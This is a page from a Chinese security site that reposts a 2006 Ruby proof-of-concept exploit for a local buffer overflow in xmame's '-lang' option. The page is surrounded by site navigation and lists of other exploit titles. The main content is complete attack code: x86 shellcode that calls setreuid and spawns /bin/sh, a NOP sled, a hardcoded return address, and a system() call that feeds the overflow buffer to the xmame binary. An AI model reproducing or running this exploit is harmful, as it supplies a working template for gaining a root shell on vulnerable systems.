首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
xmame -lang local buffer overflow exploit
来源:http://www.mysec.org 作者:xwings 发布时间:2006-01-11  

#!/usr/bin/ruby

#
# One of the PoC code for xmame "-lang" options.
# Advisory is base on : http://kerneltrap.org/node/6055
#
# by xwings at mysec dot org
# url : http://www.mysec.org , new website

# Tested on :
# Linux debian24 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux
# gcc version 4.0.3 20060104 (prerelease) (Ubuntu 4.0.2-6ubuntu1)
# xmame 0.102 , ./configure && make && make install
#


#setreuid(geteuid(),geteuid()) execl(); executes /bin//sh 49 bytes.
shellcode = "\x31\xc9\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0"+
"\x46\xcd\x80\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"+
"\x6e\x89\xe3\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0\x01"+
"\x31\xdb\xcd\x80"

vulnpath = "/usr/games/xmame.x11"
argvopt = "-lang"

ret = (0xbfffe8da)
retadd = ([ret].pack('V'))

nops = ("\x90" * (1056 - (shellcode.length + retadd.length)))
buffer = nops+shellcode+retadd

system(vulnpath,argvopt,buffer)



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Cisco IP Phone 7940 remote den
·eStara Softphone buffer overfl
·Magic News Plus <=1.0.3 Adm
·漏洞名称:Microsoft Windows图形
·Venom Board version 1.22 SQL I
·Serial Line Sniffer Buffer Ove
·PHPNuke EV 7.7 search module q
·Microsoft Windows Metafile (WM
·WinRAR 3.3.0 and below local B
·HomeFTP versions 1.1 and below
·BlueCoat WinProxy Host: Header
·Farmers WIFE version 4.4 sp1 f
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved